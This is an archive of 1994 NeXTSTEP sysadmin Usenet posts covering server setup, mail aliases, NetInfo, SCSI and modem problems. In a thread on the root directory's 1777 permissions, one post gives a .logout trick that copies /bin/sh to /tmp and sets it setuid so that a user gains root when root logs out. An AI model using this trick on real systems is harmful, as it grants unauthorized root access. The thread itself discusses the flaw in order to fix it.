References: <DB3LB5VT@math.fu-berlin.de>
Date: Sun, 20 Feb 1994 15:41:50 GMT
Been running Gopher (Now Gopher+) server on NeXT Cube 68040 from almost
two years. Was a fairly early gopher server. Been no problems.
Also run a wWW server in test mode now. I run it as a daemon
started in rc.local, but will shift to inetd daemon soon.
John W.
Dimitrij Hmeljak
(nirmng@univ.trieste.it) wrote: :
Facts: : Installing a gopher server (in future WWW, [more], ... too).
: Available choices OpenVMS, OSF/1, Irix, Ultrix or a different
: dedicate machine / OS.
: Questions:
: 1) Do you have any similar experience?
: 2) Suggestions?
: 3) Would it be wise to install it on a new NeXTStep machine?
: 4) If so, what kind of machine - CPU, RAM, HDisks, ... ?
: Thank you very much for your cooperation... please email (too) answers.
: ----- Dimitrij Hmeljak ----- nirmng@univ.trieste.it -----
Newsgroups: comp.sys.next.software,comp.sys.next.sysadmin
From: dimitri@dutiws.twi.tudelft.nl (Dimitri Tischenko)
Subject: Re: HELP : How to set up a Group Email service
Message-ID: <CLJ9Hw.JMH@dutiws.twi.tudelft.nl>
Keywords: email group address and forwarding
Organization: Delft University of Technology
References: <1994Feb16.212817.7953@newshost.lanl.gov>
Distribution: usa
Date: Sun, 20 Feb 1994 17:20:20 GMT
In article <1994Feb16.212817.7953@newshost.lanl.gov>,
David R Wolf <wolf@lanl.gov> wrote:
>What I want to do is this:
>
> A bunch of dudes want to be able to mail to one address - say
> my machine "harpo@grouchy.gov" and have the email forwarded to a
> particular list of people - the bunch.
>
> Everyone in the bunch should be able to do this, and no-one but the
> guy who sets up the service (me) should have to keep track of who is
> on the forwarding list.
>
>What's the best way?
Simple solution:
Create an alias. A straightforward way to do this:
myhost% su root
Password: <type the root password>
myhost% nidump aliases . > aliases
... add the following line to aliases file ...
mailaddress: :include:/yourdir/list_of_dudes
where mailaddress is the e-mail address at your machine you want to
use and /yourdir/list_of_dudes is an ASCII file with e-mail addresses one per
line.
myhost% niload aliases . < aliases
Later, when you want to add or remove addresses from the list, you
just change te file /yourdir/list_of_dudes.
Not simple, but much more sophisticated solution:
Grab procmail and Smartlist from the archives. If you want, I can
e-mail you the versions I have installed including a couple of
trivial patches. Read the docs - it's very nice.
Dimitri
--
+----------------------------------------------------------------------------+
| Dimitri Tischenko | D.B.Tischenko@TWI.TUDelft.NL | NeXTmail preferred! |
+---------------------------------------+------------------------------------+
| Delft University of Technology | Technische Universiteit Delft |
| Fac Applied Math & Computer Science | Fac. Techn. Wiskunde & Informatica |
| The Netherlands | Nederland |
+---------------------------------------+------------------------------------+
From: kazdan@mail.sas.upenn.edu (Jerry L. Kazdan)
Newsgroups: comp.sys.next.sysadmin
Subject: Unix "find" problem with NS3.0 and 3.2
Date: 20 Feb 1994 17:49:59 GMT
Organization: University of Pennsylvania, School of Arts and Sciences
Message-ID: <2k87s7$pto@netnews.upenn.edu>
Any hints how to fix the following?
Unix "find" sometimes gives ordinary users the error message
"bad status"
The "Permission denied" line on the following extract is of course
normal behavior.
/Users/jlk> find / -name emacs -print
.............
/usr/local/bin/emacs
find: cannot chdir to /Mailboxes: Permission denied
find: bad status < /.forward >
find: bad status < /Users >
find: bad status < /LocalLibrary >
.............
This error does not appear if one first cd to /. In addition, root
gets no error beginning from anywhere. Note the problem occurs both
for some files (/.forward) and directories. Also, directly inserting
the name of the "bad status" directory
find /Users -name emacs -print
gives no "bad status".
I have had this problem with NeXT computers running NS3.0 and 3.2 (I
did not try 3.1). The same problem has occured for several Nexts (one
domain is located in in Pennsylvania, and another in California).
Please reply by email (I'll summarize).
-Jerry
From: beckers@quip.eecs.umich.edu (Becki Kain)
Newsgroups: comp.sys.next.sysadmin
Subject: tk50 drive on a black machine
Date: 20 Feb 1994 19:11:29 GMT
Organization: University of Michigan EECS Dept., Ann Arbor, MI
Message-ID: <2k8cl1$ash@zip.eecs.umich.edu>
howdy forlks:
anyone get a tk50 drive to work on a black machine?
thanks
beckers
From: shaman@halcyon.com (Russell Wilcoxon)
Newsgroups: comp.sys.next.sysadmin
Subject: 3.1 Intel/ + DEV on multi-partitions
Date: 20 Feb 1994 09:25:53 -0800
Organization: Northwest Nexus Inc.
Sender: news@nwfocus.wa.com
Message-ID: <2k86f1$at6@nwfocus.wa.com>
Keywords: Hardd-disk 3.1 installation
I've got a SCSI 250meg partition for my boot and 140meg of it is free.
I can add a 150meg partition from my second SCSI. I'm wondering about
the relative sizes of the /usr, /NextLibrary, and /NextDeveloper
directories.
I would like to mount one of these on the second 150 partition to
distribute the burden of installing the developer package. (I can't
measure the size of /NextDeveloper without installing it. Also I don't
know how much change in size that will occur in /usr or /NextLibrary
when I install.)
Notice that I have allocated the suggested 400meg of partition space.
If you had to split the install between a 250meg and a 150meg partition.
what would you consider to be the optimum choice. (I haven't loaded the
Digital Webster or the litrature yet, not sure that I need to.)
Thanks for any help, I'll be searching for more answers to my own
questions in the docs and on the disks.
Russell Wilcoxon
shaman@halcyon.com
From: shaman@halcyon.com (Russell Wilcoxon)
Newsgroups: comp.sys.next.sysadmin
Subject: tip file-transfer = not
Date: 20 Feb 1994 09:34:18 -0800
Organization: Northwest Nexus Inc.
Sender: news@nwfocus.wa.com
Message-ID: <2k86uq$b3f@nwfocus.wa.com>
Keywords: tip file-transfer
've finally figured out how to configure /etc/remote to log on using
tip. All attempts at file-transfer has been thwarted. I'm dialing into
an HPULTRIX system. Do I need tip to be active on the other system to
get file transfer? I tried rzsz but true to the documentation it won't
work with tip or cu.
If I do need to be running tip on the remote then I need to know how
to get it to recognize the port that I'm calling in on. I need this to
be a on-demand style of setup.
Thanks for any clues, as I must be clueless right now.
:-)
Russell Wilcoxon
shaman@halcyon.com
From: matthewm@sgate.com (Mike Matthews)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Security Issue: Check your systems
Date: 19 Feb 1994 21:18:29 -0500
Organization: Collins International Services Company
Distribution: world
Message-ID: <2k6h9l$9e5@sgate.com>
References: <2jscaeINNif6@emory.mathcs.emory.edu> <~*&@byu.edu> <2k051n$ce0@lorne.stir.ac.uk>
[I got lost in all the attributions]
Regarding the mode 1777 of /, it's not as much a security problem as you
think, but it is nasty.
Yes, everyone can write to / with those modes, but no one can modify someone
else's files.
/tmp is the same way.
------
Mike Matthews, Mike_Matthews@sgate.com (NeXTmail accepted)
------
Civilization Law #1:
Civilization advances by extending the number of important operations
one can do without thinking about them.
From: kenton@tab.mit.edu (Kenton C. Phillips)
Newsgroups: comp.sys.next.sysadmin
Subject: "Cannot delete name object with children"
Date: 20 Feb 1994 21:42:45 GMT
Organization: MIT Center for Space Research
Distribution: world
Message-ID: <2k8lgl$8vq@senator-bedfellow.MIT.EDU>
Keywords: delte children niload NetInfo
Originator: kenton@tab
Upon occasion I find it necessary to try to work with NeXTs over the
network. This means I have to fight with nidump/niload to modify
the NetInfo databases. Unfortunately, whenever I try to remove an
old entry, with `niload -d ... < sourcefile`, I get the error message
Cannot delete name object with children
and the entry is left intact. There seems to be no way to delete entries
other than by logging in on the machine's console and running the GUI
tools. This can be impractical when I have to deal with a dozen machines
scattered across two buildings.
Can someone suggest a magical incantation which will convice NetInfo
that I want to delete the entry, along with its "children"?
Thanks.
--
Kenton C. Phillips
Computer Systems Manager
MIT Center for Space Research
kenton@space.mit.edu
From: claspac@cats.ucsc.edu (Willard W Russell)
Newsgroups: comp.sys.next.sysadmin
Subject: NewsGrazer source under 3.2?
Date: 20 Feb 1994 21:57:30 GMT
Organization: University of California; Santa Cruz
Sender: claspac@cats.ucsc.edu
Message-ID: <2k8mca$cic@darkstar.UCSC.EDU>
Keywords: NewsGrazer USENET NeXTSTEP 3.2
Folks,
I recently upgraded to NS3.2 on black hardware and I find
that the NewsGrazer app I have been using is broken now.
It dies without complaint before even a single news
group has been displayed.
Does anyone know where to get a more recent version
of the NewsGrazer for NeXTSTEP that runs on 3.2?
I'd like to get the source if I could, but binary is
OK since that's all I had for the last version.
FAT binaries would be better!
Please help, I am having to use "rn" while
terminal-rlogged in to a Sun, and it is crippled
in comparison with the NS NewsGrazer!
Thanks
Will Russell
claspac@cats.ucsc.edu
408,459,2060
Newsgroups: comp.security.unix,comp.sys.next.sysadmin
Subject: Re: s/key for NeXT?
Message-ID: <1994Feb20.152333.1077@earlham.edu>
From: tim@math.earlham.edu (Timothy J. McLarnan)
Date: 20 Feb 94 15:23:32 EST
Sender: tim@polycarp.math.earlham.edu.
References: <1994Feb19.131902.1062@earlham.edu>
Organization: Earlham College
Never mind.
I guess I'm less totally inept than I thought. s/key compiles for
NeXTs once you make a few obvious hacks. I'd still be interested in
other solutions and in efforts to deal with logging in to the Window
Manager, su, etc. Has anybody rewritten login, for instance?
Tim
--
Timothy J. McLarnan, tim@math.earlham.edu
Dept. of Mathematics, Earlham College, Richmond, IN 47374 USA
From: sanguish@digifix.com
Newsgroups: comp.sys.next.announce,comp.sys.next.misc,comp.sys.next.sysadmin,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.software,comp.sys.next.bugs,comp.sys.next.programmer,comp.sys.next.marketplace
Subject: Quick Guide to NEXTSTEP information on the Internet
Date: 20 Feb 1994 23:06:07 -0500
Organization: Next Announcements
Message-ID: <2k9bvf$6po@digifix.digifix.com>
This post is made weekly, to help 'point' users to more NEXTSTEP information
Topics include:
comp.sys.next newsgroups
related newsgroups
comp.sys.next newsgroups mailing list
ftp sites
NeXTanswers
comp.sys.next.* newsgroups
--------------------------
Comp.Sys.Next.Advocacy
This is the "why NEXTSTEP is better (or worse) than
anything else in the known universe" forum. It was
created specifically to divert lengthy flame wars
from .misc.
Comp.Sys.Next.Announce
Announcements of general interest to the NeXT community
(new products, FTP submissions, user group meetings,
commercial announcements etc.)
The NEXTSTEP FAQs are posted here monthly as well.
This is a moderated newsgroup, meaning that you can't
post to it directly. Submissions should be e-mailed
to next-announce@digifix.com where the moderator
(Scott Anguish) will screen them for suitability.
Comp.Sys.Next.Bugs
A place to report verifiable bugs in NeXT-supplied
software. Material e-mailed to Bug_NeXT@NeXT.COM
is not published, so this is a place for the net
community find out about problems when they're
discovered. This newsgroup has a very poor signal/noise
ratio--all too often bozos post stuff here that really
belongs someplace else. It rarely makes sense to
crosspost between this and other c.s.n.* newsgroups, but
individual reports may be germane to certain non-NeXT-
specific groups as well.
Comp.Sys.Next.Hardware
Discussions about NeXT-label hardware and compatible
peripherals, and non-NeXT-produced hardware (e.g.
Intel) that is compatible with NEXTSTEP. In most
cases, questions about Intel hardware are better
asked in comp.sys.ibm.pc.hardware. Questions about
SCSI devices belong in comp.periphs.scsi. This isn't
the place to buy or sell used NeXTs--that's what
.marketplace is for.
Comp.Sys.Next.Marketplace
NeXT stuff for sale/wanted. Material posted here must
not be crossposted to any other c.s.n.* newsgroup, but
may be crossposted to misc.forsale.computers.workstation
or appropriate regional newsgroups.
Comp.Sys.Next.Misc
For stuff that doesn't fit anywhere else. Anything you
post here by definition doesn't belong anywhere else in
c.s.n.*--i.e. no crossposting!!!
Comp.Sys.Next.Programmer
Questions and discussions of interest to NEXTSTEP
programmers. This is primarily a forum for advanced
technical material.
The NEXTSTEP programmer FAQs are posted here.
Generic UNIX questions belong elsewhere (comp.unix.questions),
although specific questions about NeXT's implementation or
porting issues are appropriate here. Note that there are
several other more "horizontal" newsgroups (comp.lang.objective-c,
comp.lang.postscript, comp.os.mach, comp.protocols.tcp-ip,
etc.) that may also be of interest.
Comp.Sys.Next.Software
This is a place to talk about [third party] software
products that run on NEXTSTEP systems.
Comp.Sys.Next.Sysadmin
Stuff relating to NeXT system administration issues;
in rare cases this will spill over into .programmer
or .software.
related Newsgroups
------------------
Comp.Soft-Sys.Nextstep
Like comp.sys.next.software and comp.sys.next.misc combined. Exists
because NeXT is a software-only company now, and comp.soft-sys is
for discussion of software systems with scope similar to NEXTSTEP.
Comp.Lang.Objective-C
Technical talk about the Objective-C language. Implemetations
discussed include NeXT, Gnu, Stepstone, etc.
Comp.Object
Technical talk about OOP in general. Lots of C++ discussion,
but NeXT and Objective-C get quite a bit of attention. At
times gets almost philosophical about objects, but then
again OOP allows one to be a programmer/philosopher.
(The original Comp.Sys.Next no longer exists--do not attempt to
post to it.)
Exception to the crossposting restrictions: announcements of
usenet RFDs or CFVs, when made by the news.announce.newgroups
moderator, may be simultaneously crossposted to all c.s.n.*
newsgroups.
Getting the Newsgroups without getting News
-------------------------------------------
Thanks to Michael Ross at antigone.com, the main NEXTSTEP groups are
now available as a mailing list digest as well.
next-nextstep-d
next-advocacy-d
next-announce-d
next-bugs-d
next-hardware-d
next-marketplace-d
next-misc-d
next-programmer-d
next-software-d
next-sysadmin-d
(For a full description, send mail saying LISTS to
<digestif@antigone.com>).
The subscription syntax is essentially the same as LISTSERV's.
To subscribe, send a message to <digestif@antigone.com> saying:
SUB Listname YourName
Example: SUB next-hardware-d John Doe
The ftp sites
-------------
cs.orst.edu: The main site for North American submissions
nova.cc.purdue.edu: Lots of older stuff, but very short on disk space
ftp.informatik.uni-muenchen.de: In Germany.
terra.stack.urc.tue.nl (Dutch NEXTSTEP User Group) and
cube.sm.dsi.unimi.it (Italian NEXTSTEP User Group)
ftp.next.com: See the below
ftp.next.com and NextAnswers@next.com
-------------------------------------
From the document 1000_Help from ftp.next.com
Welcome to the NeXTanswers information retrieval system!
This system allows you to request online technical documents, drivers, and
other software, which are then sent to you automatically. You can request
documents by fax or Internet electronic mail, or you can transfer them by
anonymous ftp.
NeXTanswers is an automated retrieval system. Requests sent to it are
answered electronically, and are not read or handled by a human being.
NeXTanswers does not answer your questions or forward your requests.
USING NEXTANSWERS BY E-MAIL
To use NeXTanswers by Internet e-mail, send requests to NeXTanswers@next.com.
Files are sent as NeXTmail attachments by default; you can request they be
sent as ASCII text files instead.
To request a file, include that file's ID number in the Subject line or the
body of the message. You can request several files in a single message.
You can also include commands in the Subject line or the body of the message.
These commands affect the way that files you request are sent:
ASCII causes the requested files to be sent as ASCII text
SPLIT splits large files into 95KB chunks, using the MIME
Message/Partial specification
These commands return information about the NeXTanswers system:
HELP returns this help file
INDEX returns the list of all available files
INDEX BY DATE returns the list of files, sorted newest to oldest
SEARCH keywords lists all files that contain all the keywords you list
(ignoring capitalization)
For example, a message with the following Subject line requests
three files:
Subject: 2101 2234 1109
A message with this body requests the same three files be
sent as ASCII text files:
2101 2234 1109 ascii
This message requests two lists of files, one for each search:
Subject:
SEARCH Dell SCSI
SEARCH NetInfo domain
NeXTanswers will reply to the address in your From: line. To use a different
address either set your Reply-To: line, or use the NeXTanswers command
REPLY-TO <your-address>
If you have any problem with the system or suggestions for improvement,
please send mail to NeXTanswers-request@NeXT.com.
USING NEXTANSWERS BY FAX
To use NeXTanswers by fax, call (415) 780-3990 from a touch-tone phone and
follow the instructions. You'll be asked for your fax number, a number to
identify your fax (like your phone extension or office number), and the ID
numbers of the files you want. You can also request a list of available
files. When you finish entering the file numbers, end the call and the
files will be faxed to you.
If you have problems using this fax system, please call Technical Support
at 1-800-848-6398. You cannot use the fax system outside the U.S & Canada.
USING NEXTANSWERS BY ANONYMOUS FTP
To use NeXTanswers by Internet anonymous FTP, connect to FTP.NEXT.COM
and read the help file pub/NeXTanswers/README. If you have problems using
this, please send mail to NeXTanswers-request@NeXT.com.
Written by: Eric P. Scott eps@toaster.SFSU.EDU and Scott Anguish sanguish@digifix.com
Additions from: Greg Anderson (Greg_Anderson@afs.com) and Michael Pizolato (Michael_Pizolato@afs.com)
From: labsha@cc.emory.edu (Shilo)
Newsgroups: comp.sys.next.sysadmin
Subject: how to restart WorkspaceManager in NeXTStep 3.2?
Date: 20 Feb 1994 23:08:43 -0500
Organization: Emory University
Sender: news@emoryu1.cc.emory.edu
Message-ID: <2k9c4b$6m4@emoryu1.cc.emory.edu>
Hello,
Under NextStep 2.x, there was a word that you could type into the
login window as a userid (with no passwd) which would restart the
Workspace Manager. Is there such a method to restart the Workspace
Manager under NS 3.2? What is it?
thanx,
shy
P.S. Please reply directly to me. thanx.
/----------------------------------+-----------------------------------------\
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| P.O. Box 21017, Emory University | BITNET: labsha@emoryu1 |
| Atlanta, Georgia 30322 | UUCP: {rutgers,gatech}!emoryu1!labsha |
\----------------------------------+-----------------------------------------/
From: lachance@scheme.cs.ubc.ca (Daniel LaChance)
Newsgroups: comp.sys.next.sysadmin
Subject: Power-Off button patch for NS 3.2?
Date: 21 Feb 1994 05:32:53 GMT
Organization: The University of British Columbia
Message-ID: <2k9h25$35q@nntp.ucs.ubc.ca>
Keywords: power-off, button, patch
Hello, everyone!
Is the power-off button patch, that removed the power-off and restart
buttons amoung other things, that was available for 3.1 also suitable
to use under 3.2?
Daniel LaChance
Dept. of Computer Science
University of British Columbia, Vancouver, Canada
From: penneys1@cl-next4.cl.msu.edu (Scott Penney)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: "Cannot delete name object with children"
Date: 21 Feb 1994 05:30:29 GMT
Organization: Michigan State University
Distribution: world
Message-ID: <2k9gtl$p1t@msuinfo.cl.msu.edu>
References: <2k8lgl$8vq@senator-bedfellow.MIT.EDU>
Kenton C. Phillips (kenton@tab.mit.edu) wrote:
> Upon occasion I find it necessary to try to work with NeXTs over the
> network. This means I have to fight with nidump/niload to modify
> the NetInfo databases. Unfortunately, whenever I try to remove an
> old entry, with `niload -d ... < sourcefile`, I get the error message
> Cannot delete name object with children
> and the entry is left intact. There seems to be no way to delete entries
> other than by logging in on the machine's console and running the GUI
> tools. This can be impractical when I have to deal with a dozen machines
> scattered across two buildings.
> Can someone suggest a magical incantation which will convice NetInfo
> that I want to delete the entry, along with its "children"?
> Thanks.
> --
> Kenton C. Phillips
> Computer Systems Manager
> MIT Center for Space Research
> kenton@space.mit.edu
Same here. I do most of my sysadmin work via modem. But everytime I try
to delete a user or some such task, I get the same message.
Scott
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From: bruce@TotSysSoft.com (Bruce Gingery)
Subject: Re: Security Issue: Check your systems
Message-ID: <1994Feb20.232749.2756@ToTSySSoft.com>
Sender: news@ToTSySSoft.com
Organization: Total System Software
References: <1994Feb19.164920.1041@objectario.com>
Date: Sun, 20 Feb 1994 23:27:49 GMT
In article <1994Feb19.164920.1041@objectario.com>
shayman@Objectario.com (Steve Hayman) writes:
-> In article <*-&@byu.edu> writes:
-> > Why in the world would NeXT make 777 the default
-> > permissions for / ?
->
->
-> The default "/" permissions are actually 1777, not 777.
-> That extra "1" is the "sticky bit" (it shows up as a "t"
-> if you ls -ld /) and makes a world of difference - it
-> means that ordinary users cannot tinker with files in
-> the directory that they don't already own. /tmp is
-> usually 1777 also.
->
-> 777 for "/" would be bad. 1777 is OK. 755 is better.
->
-> See "man 8 sticky" for the full details on the sticky bit.
->
While I can only guess the reasoning behind the 1777
permissions in root... My probable reason is that it is the
DEFAULT HOME directory if a user's home directory becomes lost
or unusable. It's a cheap safeguard in that way with users
who do not just scatter files all over the place.
IF you are running a stand-alone NeXT, especially, I'd
recommend leaving the 1777 permissions on the root directory.
As Steve pointed out above, this does NOT leave it "just
writable by anyone", as only new and user's own files can be
manipulated except by root with the "sticky bit" set.
Bruce Gingery bruce@TotSysSoft.com
From: gonzo@cs.tu-berlin.de (S. F. Ruehauf)
Newsgroups: de.comp.sys.next,comp.sys.next.sysadmin
Subject: how to format an 3gb disk with ONE partition
Date: 21 Feb 1994 10:12:23 GMT
Organization: Technical University of Berlin, Germany
Message-ID: <2ka1e7$8eo@news.cs.tu-berlin.de>
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
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Keywords: 3gb disk, blocksize 512b
hello
old question, all over again:
is it possible to format a 3 gb drive with 512b blocks
to only one partition?
Buildiosk is too dumb, do I have to format with 1k blocks?
later
stephan
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what is X400? s=gonzo ou=opal p=tu-berlin a=dbp c=de
From: labsha@cc.emory.edu (Shilo)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: how to restart WorkspaceManager in NeXTStep 3.2?
Date: 21 Feb 1994 07:27:23 -0500
Organization: Emory University
Sender: news@emoryu1.cc.emory.edu
Message-ID: <2ka9bb$n6g@emoryu1.cc.emory.edu>
References: <2k9c4b$6m4@emoryu1.cc.emory.edu>
For anyone else who gets this, I just got the answer, so thank you
but you don't need to send me anything unless you think I should
have it.
shy
Shilo (labsha@cc.emory.edu) wrote:
: Hello,
: Under NextStep 2.x, there was a word that you could type into the
: login window as a userid (with no passwd) which would restart the
: Workspace Manager. Is there such a method to restart the Workspace
: Manager under NS 3.2? What is it?
: thanx,
: shy
: P.S. Please reply directly to me. thanx.
: /----------------------------------+-----------------------------------------\
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Newsgroups: comp.security.unix,comp.sys.next.sysadmin
Subject: s/key for NeXT?
Message-ID: <1994Feb19.131902.1062@earlham.edu>
From: tim@math.earlham.edu (Timothy J. McLarnan)
Date: 19 Feb 94 13:19:00 EST
Sender: tim@polycarp.math.earlham.edu.
Followup-To: comp.security.unix
Distribution: world
Organization: Earlham College
After CERT Advisory CA 94:01, I'd like to run s/key on my NeXT boxes.
Version 1.1b from thumper.bellcore.com doesn't want to compile on my
NeXT, and since for some unaccountable reason, the program is written
in C instead of LISP, I'm not completely comfortable hacking at it.
Is anybody using s/key on NeXTs who could help me out? Or are there
good alternatives?
Tim
--
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Dept. of Mathematics, Earlham College, Richmond, IN 47374 USA
From: philipp@res.enst.fr (Philippe-Andre Prindeville)
Newsgroups: comp.sys.next.sysadmin
Subject: NextAnswers 1520/1521... (BEWARE!)
Date: 21 Feb 1994 13:36:25 GMT
Organization: Ecole Nationale Superieure des Telecommunications, Paris FRANCE
Distribution: world
Message-ID: <2kadcp$mtr@enst.enst.fr>
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Keywords: adaptec, scsi, bogus patch, nextanswers
Hi.
I recently tried to install the NeXTanswers 1521 (which
is the the patch for the Adaptec 154x and 174x SCSI cards) on
my white NeXT. I have an Adaptec 1542CF so I was hoping that
this patch would improve my performance, which is acceptable
but far short of what my ISA controller and FAST SCSI-II drive
should be capable of. Well, here's what greed gets you:
I installed the patch naively -- I didn't notice until
too late that "Installer.app" had complained about the
Adaptec154xDriver.pkg bien corrupted... it overwrote *some*
of the files while doing the install and gave up the ghost in
the middle of the process.
My machine rebooted (actually, my big toe brushed up
against the "reset" button, really. No, this *isn't* funny)
before I could FTP the *old* drivers and overwrite the bogon
files.
So I'm up proverbial shit creek without a paddle in a
barb-wire canoe, as they say, and can't reboot.
Word of warning: pay close attention when installing
this patch. I've asked NeXT to verify that the contents of this
file are correct, but since it is very early Monday morning there,
I haven't had a response....
Incidentally, if someone *does* try it out, please let
me know what your experience was.
-Philip
From: jirapa@nextover.pe.utexas.edu
Newsgroups: comp.sys.next.sysadmin
Subject: Disk Space Quota
Date: 21 Feb 1994 16:20:57 GMT
Organization: The University of Texas at Austin, Austin, Texas
Distribution: usa
Message-ID: <2kan19$gie@geraldo.cc.utexas.edu>
Hi,
How do I get a hold of a quota program to monitor/limit user disk space usage?
Jirapa
From: chris@nice.usergroup.ethz.ch (Christian Limpach)
Newsgroups: comp.sys.next.sysadmin
Subject: Re: Security Issue: Check your systems
Date: Mon, 21 Feb 1994 00:27:27 GMT
Organization: welcome to nowhere...
Message-ID: <CLJt9r.14A@arkin>
References: <*-&@byu.edu> <1994Feb19.164920.1041@objectario.com>
Originator: ARKIN@nice
Steve Hayman (shayman@Objectario.com) wrote:
> The default "/" permissions are actually 1777, not 777. That extra
> "1" is the "sticky bit" (it shows up as a "t" if you ls -ld /)
> and makes a world of difference - it means
> that ordinary users cannot tinker with files in the directory
> that they don't already own. /tmp is usually 1777 also.
> 777 for "/" would be bad. 1777 is OK. 755 is better.
no, it's not OK at all... If / == root's homedir, do the following:
cat >.logout
cp /bin/sh /tmp/
chmod 4755 /tmp/sh
^D
and go ask root to do something that makes him login and out :-)
christian
P.S.: I just checked, there is no .logout on the 3.2 CD.
Newsgroups: comp.sys.next.sysadmin
From: boconnor@andi.org (Bob O'Connor)
Subject: Re: AppleTalk under 3.2
Message-ID: <CLKwGq.L3r@nextsrv1.andi.org>
Sender: usenet@nextsrv1.andi.org (usenet)
Organization: Association of NeXTSTEP Developers International
References: <2jdh5l$j4u@portal.gmu.edu>
Date: Mon, 21 Feb 1994 14:34:01 GMT
In article <2jdh5l$j4u@portal.gmu.edu> csmith@blackplague.gmu.edu
(Christian Smith) writes:
>I have used my old 3.0 CDRom to install AppleTalk onto a machine running
>3.2. I have also replaced the 3.2 PrintManager.app with the one from the
>3.0 disk. I can now open PrintManager, select AppleTalk as my
>Communication, browse the network for an Apple Laserwriter, select the
>one I want, and configure it as my printer. Now comes the problem.
>Print jobs sent to the printer just disappear. No errors, no printout,
>no nothing. If I pull up the print queue window, hit Pause and then send
>a print job, the print job enters the queue and stays there until I hit
>Continue at which point it goes to Printing and then "No active printing"
>but it never shows up at the printer. Yes, I do have the proper printer
>selected, and the printer works fine when I print from a Mac on the
>AppleTalk network. Anybody have any ideas on what is going wrong?
>
> --
> Christian Smith
> aka Blackplague
> PGP Public Key available by finger or request.
I had this problem ALL the time back when I was doing NS 3.0 installations
until NeXT finally admitted that it was a problem with their AppleTalk
implementation (some sort of time out problem, I believe). Since then, I
just recommend uShare by IPT and it works like a charm.
--
Bob O'Connor
Just BOB Macintosh and NeXT Consulting
7935 Shreve Road
Falls Church, VA. 22043-3425 USA
(703) 207-9438
justbob@andi.org
From: dbora@ils.nwu.edu (Donald Bora)
Newsgroups: comp.sys.next.sysadmin
Subject: NeXT fax modem question
Date: 21 Feb 1994 17:32:56 GMT
Organization: The Institute for the Learning Sciences
Distribution: world
Message-ID: <2kar88$4jc@anaxagoras.ils.nwu.edu>
I am trying to set up my fax modem (us robotics sportster) and
when I try creating the fax modem from the printmanager the fax
modem software cannot set up the modem and exits. Any clue?
-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
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The Institute for the Learning Sciences | | O |
Northwestern University | (--|--)
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--------Be excellent to each other--------
From: hussain@artsci.wustl.edu (G. H. Chinoy)
Newsgroups: comp.sys.next.sysadmin
Subject: X command 'resize': NeXT equiv? (#2)
Date: 21 Feb 1994 17:58:31 GMT
Organization: Washington University, St. Louis, MO
Message-ID: <2kaso7$gbk@bigfoot.wustl.edu>
Leo,
Apparently it redraws the screen. When the graduate student remotely
logs in to a NeXT from his IRIX and resizes the NeXT-remote window, the text
within the window doesn't get any bigger, but the window does.
Very annoying.
Thanks for trying to help,
Hussain
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________________________________
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hussain@artsci.wustl.edu
Begin forwarded message:
Date: Mon, 21 Feb 94 12:28:09 +0100
From: leo@ine.philips.nl
Subject: Re: X command 'resize': NeXT equivalent?
Newsgroups: comp.sys.next.sysadmin
Hi!
In article <2jog13$jg9@bigfoot.wustl.edu> you write:
|
|
|One of the Math Department's Graduate students is setting up his Irix
|workstation and I'm linking it up with our other NeXT machines.
|
|Question: Is there a NeXT equivalent for the 'resize' command in X/IRIX,
| or whatever.
What does `resize' do? I couldn't find it on the local Pyramid and Suns...
Cheers,
Leo.
Newsgroups: comp.sys.next.sysadmin
From: nexus!dave@netcom.com(David W. Fahrney)
Subject: Re: EATA timeout?
Message-ID: <CLKCp4.75F@nexusadmin.com>
Sender: dave@nexusadmin.com (David W. Fahrney)
Organization: Nexus Administration
References: <next2.761654522@info2.rus.uni-stuttgart.de>
Date: Mon, 21 Feb 1994 07:27:04 GMT
In article <next2.761654522@info2.rus.uni-stuttgart.de> next2@info2.rus.uni-stuttgart.de
(Markus Wenzel) writes:
!> rainer@wifzack (Rainer Staringer) writes:
!> >I have a DPT2022/90 card and DEC RZ26B 1GB drive in a DEC MTE PC
!> >running NS3.2. Time and again I get the error message 'EATA timeout'
!> >on the console, followed by 'Resetting SCSI bus' and other SCSI
!> >related error messages. The system then hangs. This happens most often
!> >when booting, before the date is displayed and the file system is
!> >checked, but after the device configuration. I never get an error
!> >when booting DOS. I tried various alternatives for the termination
!> >of the SCSI bus (active/passive) but to no avail.
!>
!> >Does this problem sound familiar to anyone? Thanks for any info!
!>
!> Yes, I'm suffering from the same problem. I don't have timeouts during
!> boot time, but after a couple of days up, a timeout occurs at a sudden.
!> I have no clue about it. My drives are a DEC DSP3053L and an IBM 0662S12,
!> the latter represents the end of the SCSI chain and has active termination
!> turned on. These timeout didn't happen with my previous 2021 ISA adapter.
!> Could it be a firmware bug? I'm using the most recent version (2C).
!>
Me too! Me too! I am using the 2022 with a DEC 1GB drive in Dell Pentiums. Some
machines don't have exhibit the problem but at least three of five have had this same
nasty little problem. I haven't had the system hang fatally because eventually the SCSI
bus resets and NeXTSTEP will continue and allow a Alt-NumLock halt. But you do have to
be patient waiting for it to reset!
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From: nexus!dave@netcom.com(David W. Fahrney)
Subject: Re: Is there a Zyxel fax modem driver for NS/Intel?
Message-ID: <CLKCsq.766@nexusadmin.com>
Sender: dave@nexusadmin.com (David W. Fahrney)
Organization: Nexus Administration
References: <2j61vj$1qn@email.tuwien.ac.at>
Date: Mon, 21 Feb 1994 07:29:14 GMT
In article <2j61vj$1qn@email.tuwien.ac.at> rainer@fml.tuwien.ac.at (Rainer Staringer)
writes:
!> Is there a Zyxel fax modem driver available for NS/Intel?
!> The free Zyxel driver on the ftp sites is a Motorola binary
!> and comes without source code.
!>
!> Or does anybody know if NXFax or some other commercial fax
!> software is already available for Intel hardware?
!>
I believe that the NXFax driver for NSI is still considered beta by Black & White.
--
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Newsgroups: comp.sys.next.sysadmin
From: shayman@Trimark.com (Steve Hayman)
Subject: Re: Security Issue: Check your systems
Message-ID: <1994Feb21.191756.20221@trimark.com>
Sender: news@trimark.com
Organization: Trimark Investment Management, Toronto
References: <CLJt9r.14A@arkin>
Date: 21 Feb 1994 19:17:56 GMT
> no, it's not OK at all... If / == root's homedir, do the following:
> cat >.logout
> and go ask root to do something that makes him login and out :-)
I don't think so.
/bin/csh will only execute commands in .logout (or .cshrc or
